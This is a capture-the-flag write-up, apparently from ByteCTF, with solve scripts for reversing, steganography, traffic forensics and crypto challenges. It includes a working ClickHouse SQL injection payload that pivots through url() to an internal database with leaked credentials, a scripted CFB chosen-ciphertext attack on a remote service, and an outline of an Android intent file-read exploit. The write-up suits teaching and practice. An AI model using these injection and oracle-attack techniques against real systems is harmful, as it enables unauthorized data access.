Reverse
moderncpp
經過奇怪的一種轉化後將輸入轉化爲01串，應該是一種樹形結構。
類似於哈夫曼樹的感覺，沒有細看。
然後就是一個簡單的tea。
dump出各個字符對應的bit位，算出tea結果，拿去匹配算出flag。
cmps="00001100111100000110100111011000010010100011001011111011011000101000111010100100110011000000110011000000001000100110001111100101101101101111110100000111010111101110011011111110110001101000110111111101100011010101000110101101111001000110100011111010000101000111100000000000000000000000000000000000000000000000000000000000"
map01={}
map01["a"]="100101"
map01["b"]="00001"
map01["c"]="01110"
map01["d"]="11011"
map01["e"]="0011010"
map01["f"]="010010"
map01["g"]="111011"
map01["h"]="01000"
map01["i"]="10110"
map01["j"]="00110111"
map01["k"]="1111010"
map01["l"]="110010"
map01["m"]="00011"
map01["n"]="10000"
map01["o"]="10100011101"
map01["p"]="0110011"
map01["q"]="011000"
map01["r"]="111110"
map01["s"]="01011"
map01["t"]="11000"
map01["u"]="11110110"
map01["v"]="000001"
map01["w"]="111000"
map01["x"]="00101"
map01["y"]="10011"
map01["z"]="101000110"
map01["0"]="1110010"
map01["1"]="100100"
map01["2"]="111111"
map01["3"]="01101"
map01["4"]="11010"
map01["5"]="11110111"
map01["6"]="001100"
map01["7"]="111010"
map01["8"]="00111"
map01["9"]="10101"
map01["!"]="00110110"
map01["@"]="1110011"
map01["#"]="101001"
map01["%"]="00010"
map01["^"]="01111"
map01["&"]="10100011100"
map01["*"]="0110010"
map01["("]="010011"
map01[")"]="111100"
map01["_"]="01010"
map01["+"]="10111"
map01["-"]="10100010"
map01["="]="000000"
map01["["]="110011"
map01["]"]="00100"
map01["{"]="10001"
map01["}"]="1010001111"
map01[";"]="1010000"
path=[]
def output():
strs=""
for i in path:
strs+=i
print(strs)
def dfs(ptr):
if ptr>len(cmps):
return
output()
for k,v in map01.items():
if cmps[ptr:ptr+len(v)]==v:
path.append(k)
dfs(ptr+len(v))
path.remove(k)
dfs(0)
Misc
BabyShark
给出了一个流量包，流量包我们可以看到里面第一个TCP流中有利用adbshell进行下载得一个程序。我们将其提取下来反编译。
package com.bytectf.misc1;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
public class AesUtil {
private static final String CipherMode = "AES/CFB/NoPadding";
private static String byte2hex(byte[] b) {
StringBuilder sb = new StringBuilder(b.length * 2);
int v3;
for(v3 = 0; v3 < b.length; ++v3) {
String v1 = Integer.toHexString(b[v3] & 0xFF);
if(v1.length() == 1) {
sb.append("0");
}
sb.append(v1);
}
return sb.toString().toUpperCase();
}
private static SecretKeySpec createKey(long key) {
return new SecretKeySpec(AesUtil.paddingBytes(AesUtil.longToBytes(key)), "AES");
}
public static String decrypt(long key, String cipherText) {
SecretKeySpec keySpec = AesUtil.createKey(key);
byte[] cipherBytes = AesUtil.hex2byte(cipherText);
try {
Cipher v2 = Cipher.getInstance("AES/CFB/NoPadding");
v2.init(2, keySpec, new IvParameterSpec(new byte[v2.getBlockSize()]));
return new String(v2.doFinal(cipherBytes), "UTF-8");
}
catch(Exception e) {
e.printStackTrace();
return "";
}
}
public static String encrypt(long key, String flag) {
SecretKeySpec keySpec = AesUtil.createKey(key);
try {
byte[] data = flag.getBytes("UTF-8");
Cipher cipher = Cipher.getInstance("AES/CFB/NoPadding");
cipher.init(1, keySpec, new IvParameterSpec(new byte[cipher.getBlockSize()]));
return AesUtil.byte2hex(cipher.doFinal(data));
}
catch(Exception e) {
e.printStackTrace();
return null;
}
}
private static byte[] hex2byte(String inputString) {
if(inputString != null && inputString.length() >= 2) {
String v6 = inputString.toLowerCase();
int l = v6.length() / 2;
byte[] result = new byte[l];
int i;
for(i = 0; i < l; ++i) {
result[i] = (byte)(Integer.parseInt(v6.substring(i * 2, i * 2 + 2), 16) & 0xFF);
}
return result;
}
return new byte[0];
}
public static byte[] longToBytes(long value) {
return new byte[]{((byte)(((int)(value & 0xFFL)))), ((byte)(((int)(value >> 8 & 0xFFL)))), ((byte)(((int)(value >> 16 & 0xFFL)))), ((byte)(((int)(value >> 24 & 0xFFL)))), ((byte)(((int)(value >> 0x20 & 0xFFL)))), ((byte)(((int)(value >> 40 & 0xFFL)))), ((byte)(((int)(value >> 0x30 & 0xFFL)))), ((byte)(((int)(value >> 56 & 0xFFL))))};
}
private static byte[] paddingBytes(byte[] data) {
byte[] padding = new byte[0x20];
int i;
for(i = 0; i < 0x20; ++i) {
padding[i] = i < data.length ? data[i] : 0;
}
return padding;
}
}
以及一些程序不放了。简单说就是利用第一次请求的数据来加密了下当作key 解密apk中的数据就能得到flag了。我们可以发现是protobuf，利用在线网站求解出key直接解密得到flag.
直接抄apk里的src解密
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
public class boom {
private static final String CipherMode = "AES/CFB/NoPadding";
public static void main(String[] args){
long i = 0;
String res;
res = decrypt( (long)244837809871755L,"8939AA47D35006FB2B5FBDB9A810B25294B5D4D76E4204D33BA01F7B3F9D99B1");
System.out.println(res);
}
private static String byte2hex(byte[] b) {
StringBuilder sb = new StringBuilder(b.length * 2);
int v3;
for(v3 = 0; v3 < b.length; ++v3) {
String v1 = Integer.toHexString(b[v3] & 0xFF);
if(v1.length() == 1) {
sb.append("0");
}
sb.append(v1);
}
return sb.toString().toUpperCase();
}
private static SecretKeySpec createKey(long key) {
return new SecretKeySpec(paddingBytes(longToBytes(key)), "AES");
}
public static String decrypt(long key, String cipherText) {
SecretKeySpec keySpec = createKey(key);
byte[] cipherBytes = hex2byte(cipherText);
try {
Cipher v2 = Cipher.getInstance("AES/CFB/NoPadding");
v2.init(2, keySpec, new IvParameterSpec(new byte[v2.getBlockSize()]));
return new String(v2.doFinal(cipherBytes), "UTF-8");
}
catch(Exception e) {
e.printStackTrace();
return "";
}
}
private static byte[] hex2byte(String inputString) {
if(inputString != null && inputString.length() >= 2) {
String v6 = inputString.toLowerCase();
int l = v6.length() / 2;
byte[] result = new byte[l];
int i;
for(i = 0; i < l; ++i) {
result[i] = (byte)(Integer.parseInt(v6.substring(i * 2, i * 2 + 2), 16) & 0xFF);
}
return result;
}
return new byte[0];
}
public static byte[] longToBytes(long value) {
return new byte[]{((byte)(((int)(value & 0xFFL)))), ((byte)(((int)(value >> 8 & 0xFFL)))), ((byte)(((int)(value >> 16 & 0xFFL)))), ((byte)(((int)(value >> 24 & 0xFFL)))), ((byte)(((int)(value >> 0x20 & 0xFFL)))), ((byte)(((int)(value >> 40 & 0xFFL)))), ((byte)(((int)(value >> 0x30 & 0xFFL)))), ((byte)(((int)(value >> 56 & 0xFFL))))};
}
private static byte[] paddingBytes(byte[] data) {
byte[] padding = new byte[0x20];
int i;
for(i = 0; i < 0x20; ++i) {
padding[i] = i < data.length ? data[i] : 0;
}
return padding;
}
}
Lost Excel
分离excel文件，拿到点阵图，发现LSB隐写。根据提示blocksize=8将其分为8*8pixel的格子
发现有许多循环出现的部分，直接读。
根据格子中黑点出现的位置将其转换为二进制
from PIL import Image
ans=''
def check(temp):
global ans
for y in range(2):
for x in range(2):
if temp.getpixel((x*4,y*4))==(0,0,0):
ans=ans+str(y)+str(x)
for i in range(4,5700):
img=Image.open('{}.png'.format(i))
check(img)
print(ans)
得到01串，读一下 得到flag
frequently
题目比较简单
dns tunnel中 i,o两种代表 01 获得前一半部分flag。
后一半在DHCP协议中，一次传输一字节。
拼接得到flag.
HearingNotBelieving
比较简单。
audacity可以发现前面是个二维码。
后面是16段 robot96 的无线电。
还是拼成二维码。都不好扫。。直接利用Qrazybox手点。
拼接得到flag
签到
nice game
问卷
nice game
Web
double sqli
clickhouse注入，路径穿越找到user_01和密码
import requests,re
url = "http://39.105.175.150:30001/"
param = {
"id":f"1 and updatexml(1,concat(0x7e,(SELECT * FROM url('http://127.0.0.1:8123?user=
user_01&password=e3b0c44298fc1c149afb&query=select+flag+from+ctf.flag',
RawBLOB, 'column1 String') LIMIT 0,1),0x7e),1)"
}
res = requests.get(url,params=param)
print(res.text)
Pwn
babydroid
Vulnerable类默认导出，
intent作为漏洞利用点传入poc
存在content provider，非导出，构造poc使pwnbabydroid可读取任意文件
这样就可以先跳转到Vulnerable然后传入poc打开读写权限
之后在babydroid跳转到Attack类并且讲读入的flag打回即可
Crypto
abusedkey
协议二，传Qc=hcG, Qs=G，则Ys ds = Yc，爆破hs得到协议一私钥，之后协议一传Tc = -Pc，则Kcs = -hc ds G，解密即可。
JustDecrypt
CFB模式的选择明密文攻击，每次其实只加密一个字节，这一点在Crypto.Cipher.AES.new()的源码注释中可以看到。可以交互52次，刚好是：49次构造原文，1次构造padding，一次还原寄存器状态，正好够了。
# -*- coding: utf-8 -*-
import re
from pwn import *
import string
from Crypto.Util.number import *
from hashlib import sha256
from os import urandom
ip, port = "39.105.181.182", 30001
#context.log_level = "debug"
charset = string.ascii_letters + string.digits
def proof(known, hashcode):
for each1 in charset:
for each2 in charset:
for each3 in charset:
for each4 in charset:
this = each1 + each2 + each3 + each4 + known
if sha256(this.encode()).hexdigest() == hashcode:
return each1 + each2 + each3 + each4
def send(data):
if len(data) % 2 == 1:
data = '0' + data
sh.recvuntil("hex > ")
sh.sendline(data)
if sh.recv(1) == b'N':
raise ValueError
sh.recvuntil("plaintext in hex: \n")
data = sh.recvline(keepends = False)
if len(data) == 0:
return b'\x00'
return long_to_bytes(int(data, 16))
def tohex(s):
return hex(bytes_to_long(s))[2:]
sh = remote(ip, port)
sh.recvuntil("sha256")
data = sh.recvline().decode()
ciphers = b''
known, hashcode = re.findall(r'\(XXXX\+(.*?)\) == (.*?)\n', data)[0]
sh.recvuntil("> ")
log.info("known: %s", known)
log.info("hashcode: %s", hashcode)
ans = proof(known, hashcode)
sh.sendline(ans)
base = urandom(16)
pad = urandom(256)
target = b"Hello, I'm a Bytedancer. Please give me the flag!"
for i in range(49):
this = base + ciphers + long_to_bytes(target[i])
num = 16 - (len(this) % 16)
this += num * b'\x00'
res = send(tohex(this + pad))
# log.info(str(res))
ciphers += long_to_bytes(res[16 + i])
r = urandom(14)
res = send(tohex(base + ciphers + r + b'\x0f' + pad))
# log.info(str(res))
ciphers = ciphers + r + long_to_bytes(res[79])
send(tohex(base))
res = send(tohex(ciphers))
print(res)
sh.interactive()
Overheard
小根，直接模p上构造个方程，二元Coppersmith：
p = 62606792596600834911820789765744078048692259104005438531455193685836606544743
T0 = 55658005286954458353074331148659743689991644180445271176712023946898001887232
T1 = 10828133361441717892727545369261900198567704830372084498049248764284301737984
PR.< x, y > = PolynomialRing(ZZ)
pol = T0**2 + x**2 + 2*T0*x - T1 - y
X = 2**64
m = 3
gg = []
monomials = []
# x-shifts
for i in range(m+1):
for j in range(m - i + 1):
gg.append(x**j * p**(m-i) * pol**i)
# y-shifts
for i in range(m+1):
for j in range(m - i + 1):
gg.append(y**j * p**(m-i) * pol**i)
# list monomials
for polynomial in gg:
for monomial in polynomial.monomials():
if monomial not in monomials:
monomials.append(monomial)
gg = list(set(gg))
monomials = list(set(monomials))
rows = len(gg)
cols = len(monomials)
B = Matrix(ZZ, rows, cols)
for i in range(rows):
for j in range(cols):
if monomials[j] in gg[i].monomials():
B[i, j] = gg[i].monomial_coefficient(monomials[j]) * monomials[j](X, X)
BL = B.LLL()
new_pol = []
for i in range(rows):
if len(new_pol) == 2:
break
tmp_pol = 0
for j in range(cols):
tmp_pol += monomials[j](x, y) * BL[i, j] / monomials[j](X, X)
if not tmp_pol.is_zero() :
new_pol.append(tmp_pol)
PRR.<w> = PolynomialRing(ZZ)
res = (new_pol[0].resultant(new_pol[1])(w, w)).roots()
for i in res:
if int(i[0]) == i[0]:
x0 = new_pol[0](w, i[0]).roots()[0][0]
print(T0 + x0)
交互部分：
from winpwn import *
p = 62606792596600834911820789765744078048692259104005438531455193685836606544743
io = remote('39.105.38.192', 30000)
io.recvuntil('$ ')
io.send('1\n')
A = int(io.recvuntil('\n').strip())
io.recvuntil('$ ')
io.send('2\n')
B = int(io.recvuntil('\n').strip())
io.recvuntil('$ ')
io.send('3\n')
io.recvuntil('Bob:')
io.send(str(A)+'\n')
T0 = int(io.recvuntil('\n').strip())
io.recvuntil('$ ')
io.send('3\n')
io.recvuntil('Bob:')
io.send(str(pow(A, 2, p))+'\n')
T1 = int(io.recvuntil('\n').strip())
print('T0 =', T0)
print('T1 =', T1)
io.recvuntil('$ ')
io.send('4\n')
io.recvuntil('secret:')
io.interactive()
easyxor
题目中自定义了加密算法，并分别使用CBC和OFB模式进行加密。
题目中的shift函数是可逆的，其原理与梅森旋转随机数生成中的convert函数是一个意思，所以改改原来代码就能实现shift函数以及convert函数的逆向函数。
接下来分析OFB模式，
首先有一点，我们知道flag的前8个字节为”ByteCTF{“，那么就相当于知道了明文分组1，而我们又知道密文分组1，那么经过异或，就可以得到初始化向量IV的加密值。其次，密钥长度只有24bit，所以可以通过爆破key，然后尝试解密密文分组2，查看字符。
因为不知道flag的字符集，所以只能大范围搜索，通过c++写的脚本搜出来发现很多组符合条件的key，那就拿这些key再解第三个密文分组，这样能决定出唯一一个正确的key。有了key就能解出iv，那所有的东西就出来了。
c++爆破脚本：
#include <stdio.h>
#include <string>
#define ULL unsigned long long int
using namespace std;
ULL shift(ULL m, int k, ULL c) {
if (k < 0) {
return m ^ (m >> (-k)) & c;
}
return m ^ (m << k) & c;
}
ULL convert(ULL m, int key[]) {
ULL c_list[4] = {0x37386180af9ae39e, 0xaf754e29895ee11a, 0x85e1a429a2b7030c, 0x964c5a89f6d3ae8c};
for (int t = 0; t < 4; t ++) {
m = shift(m, key[t], c_list[t]);
}
return m;
}
string Check = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$&*-@_";
int main() {
ULL start = 14682254609762378035;
ULL c1 = 17307588413236231692;
ULL res, m1, tmp;
for(int a = -32; a <= 32; a ++) {
if (a == 0) continue;
for(int b = -32; b <= 32; b ++) {
if (b == 0) continue;
for(int c = -32; c <= 32; c ++) {
if (c == 0) continue;
for(int d = -32; d <= 32; d ++) {
if (d == 0) continue;
int keys[4] = {a, b, c, d};
res = convert(start, keys);
m1 = res ^ c1;
tmp = m1;
bool check = true;
while (m1) {
if (!(Check.find(char(m1 & 0xFF)) != string::npos)) {
check = false;
break;
}
m1 >>= 8;
}
if (check) {
printf("[%d,%d,%d,%d]\n", a, b, c, d);
/*
while (tmp) {
putchar(tmp & 0xFF);
tmp >>= 8;
}
putchar('\n');
putchar('\n');*/
}
}
}
}
}
return 0;
}
获取到可能的key:
[-32,10,11,7]
[-32,20,11,-31]
[-32,20,20,-31]
[-32,25,1,-21]
[-31,-5,27,-18]
[-31,25,24,-27]
[-30,11,27,-13]
[-28,-10,22,9]
[-27,11,22,-17]
[-27,26,-3,-11]
[-27,30,29,-6]
[-26,11,-7,-25]
[-25,12,7,-27]
[-23,-4,24,-11]
[-23,32,-4,19]
[-22,-28,11,-2]
[-22,-3,18,-29]
[-22,3,17,-29]
[-22,3,18,-30]
[-22,26,11,-29]
[-21,20,11,-1]
[-19,12,-2,-31]
[-19,12,17,-7]
[-18,-32,11,10]
[-18,-24,11,24]
[-18,-7,12,24]
[-18,11,31,10]
[-17,-32,1,1]
[-17,-32,11,10]
[-17,-23,21,10]
[-17,-4,21,-9]
[-17,15,31,-8]
[-16,3,18,-7]
[-15,-4,24,-11]
[-12,26,-3,-31]
[-12,31,11,-6]
[-11,25,7,8]
[-11,31,29,8]
[-11,32,-2,-15]
[-10,-4,10,-31]
[-10,-4,17,-31]
[-10,-4,27,-31]
[-8,-6,28,-8]
[-8,31,8,-11]
[-6,-3,4,2]
[-6,12,1,-7]
[-5,8,29,-24]
[-5,30,29,-15]
[-4,-25,17,11]
[-4,-11,-1,10]
[-3,25,23,-30]
[-2,-3,27,14]
[-2,22,23,8]
[-2,23,16,17]
[-1,2,10,-26]
[-1,18,17,-26]
[-1,18,17,-12]
[1,11,8,6]
[3,-4,21,-31]
[5,18,31,-6]
[7,21,11,-14]
[8,16,23,-16]
[9,-31,31,-11]
[11,-13,17,-23]
[11,-5,27,11]
[11,25,-2,19]
[12,26,17,-29]
[14,18,-5,8]
[15,27,-3,-30]
[16,12,7,-23]
[17,2,30,32]
[19,19,15,-18]
[20,16,11,-23]
[21,26,-5,10]
[22,-4,11,-15]
[22,21,-2,-4]
[24,-23,17,21]
[24,-23,17,30]
[24,8,32,-28]
[24,11,-2,9]
[24,20,29,-29]
[25,-31,31,-23]
[25,-4,31,11]
[25,15,1,-12]
[27,-2,16,17]
[27,28,12,-30]
[29,5,-2,10]
[30,-20,32,-6]
[30,26,22,-29]
[31,-4,31,13]
[31,4,18,-11]
[31,8,12,-23]
[31,12,1,-18]
[31,12,8,-13]
[31,20,32,-2]
再通过python检查一遍这些key：
s = '''[-32,10,11,7]
[-32,20,11,-31]
[-32,20,20,-31]
[-32,25,1,-21]
[-31,-5,27,-18]
[-31,25,24,-27]
[-30,11,27,-13]
[-28,-10,22,9]
[-27,11,22,-17]
[-27,26,-3,-11]
[-27,30,29,-6]
[-26,11,-7,-25]
[-25,12,7,-27]
[-23,-4,24,-11]
[-23,32,-4,19]
[-22,-28,11,-2]
[-22,-3,18,-29]
[-22,3,17,-29]
[-22,3,18,-30]
[-22,26,11,-29]
[-21,20,11,-1]
[-19,12,-2,-31]
[-19,12,17,-7]
[-18,-32,11,10]
[-18,-24,11,24]
[-18,-7,12,24]
[-18,11,31,10]
[-17,-32,1,1]
[-17,-32,11,10]
[-17,-23,21,10]
[-17,-4,21,-9]
[-17,15,31,-8]
[-16,3,18,-7]
[-15,-4,24,-11]
[-12,26,-3,-31]
[-12,31,11,-6]
[-11,25,7,8]
[-11,31,29,8]
[-11,32,-2,-15]
[-10,-4,10,-31]
[-10,-4,17,-31]
[-10,-4,27,-31]
[-8,-6,28,-8]
[-8,31,8,-11]
[-6,-3,4,2]
[-6,12,1,-7]
[-5,8,29,-24]
[-5,30,29,-15]
[-4,-25,17,11]
[-4,-11,-1,10]
[-3,25,23,-30]
[-2,-3,27,14]
[-2,22,23,8]
[-2,23,16,17]
[-1,2,10,-26]
[-1,18,17,-26]
[-1,18,17,-12]
[1,11,8,6]
[3,-4,21,-31]
[5,18,31,-6]
[7,21,11,-14]
[8,16,23,-16]
[9,-31,31,-11]
[11,-13,17,-23]
[11,-5,27,11]
[11,25,-2,19]
[12,26,17,-29]
[14,18,-5,8]
[15,27,-3,-30]
[16,12,7,-23]
[17,2,30,32]
[19,19,15,-18]
[20,16,11,-23]
[21,26,-5,10]
[22,-4,11,-15]
[22,21,-2,-4]
[24,-23,17,21]
[24,-23,17,30]
[24,8,32,-28]
[24,11,-2,9]
[24,20,29,-29]
[25,-31,31,-23]
[25,-4,31,11]
[25,15,1,-12]
[27,-2,16,17]
[27,28,12,-30]
[29,5,-2,10]
[30,-20,32,-6]
[30,26,22,-29]
[31,-4,31,13]
[31,4,18,-11]
[31,8,12,-23]
[31,12,1,-18]
[31,12,8,-13]
[31,20,32,-2]'''
s = s.split('\n')
import json
start = 14682254609762378035
for each in s:
key = json.loads(each)
print(long_to_bytes(convert(convert(start, key), key) ^ cipher1[-1]))
print(key)
看到当key=[-12, 26, -3, -31]时输出是正常的，其他的都不对，因此就得到了key，iv也能解了，flag就出了。
# -*- coding: utf-8 -*-
def inverse_right_mask(res, shift, mask, bits=64):
tmp = res
for i in range(bits // shift):
tmp = res ^ tmp >> shift & mask
return tmp
def inverse_left_mask(res, shift, mask, bits=64):
tmp = res
for i in range(bits // shift):
tmp = res ^ tmp << shift & mask
return tmp
cipher1 = 3376918514403339497933859505838430514582460830251429894413
cipher2 = 1457899694330042638941792634055154033944787544812083984658
from Crypto.Util.number import *
cipher1 = long_to_bytes(cipher1)
cipher2 = long_to_bytes(cipher2)
group = 3
cipher1 = [bytes_to_long(cipher1[i:i+8]) for i in range(0, 24, 8)]
cipher2 = [bytes_to_long(cipher2[i:i+8]) for i in range(0, 24, 8)]
def shift(m, k, c):
if k < 0:
return m ^ m >> (-k) & c
return m ^ m << k & c
def _shift(cipher, k, c):
if k < 0:
return inverse_right_mask(cipher, -k, c, 64)
return inverse_left_mask(cipher, k, c, 64)
def convert(m, key):
c_list = [0x37386180af9ae39e, 0xaf754e29895ee11a, 0x85e1a429a2b7030c, 0x964c5a89f6d3ae8c]
for t in range(4):
m = shift(m, key[t], c_list[t])
return m
def _convert(c, key):
c_list = [0x37386180af9ae39e, 0xaf754e29895ee11a, 0x85e1a429a2b7030c, 0x964c5a89f6d3ae8c]
for t in range(3, -1, -1):
c = _shift(c, key[t], c_list[t])
return c
key = [-12, 26, -3, -31]
iv = 16476971533267772345
flag = b''
last = iv
for each in cipher1:
cur_c = convert(last, key)
flag += long_to_bytes(cur_c ^ each)
last = cur_c
last = iv
for each in cipher2:
cur_c = _convert(each, key)
flag += long_to_bytes(cur_c ^ last)
last = each
print(flag)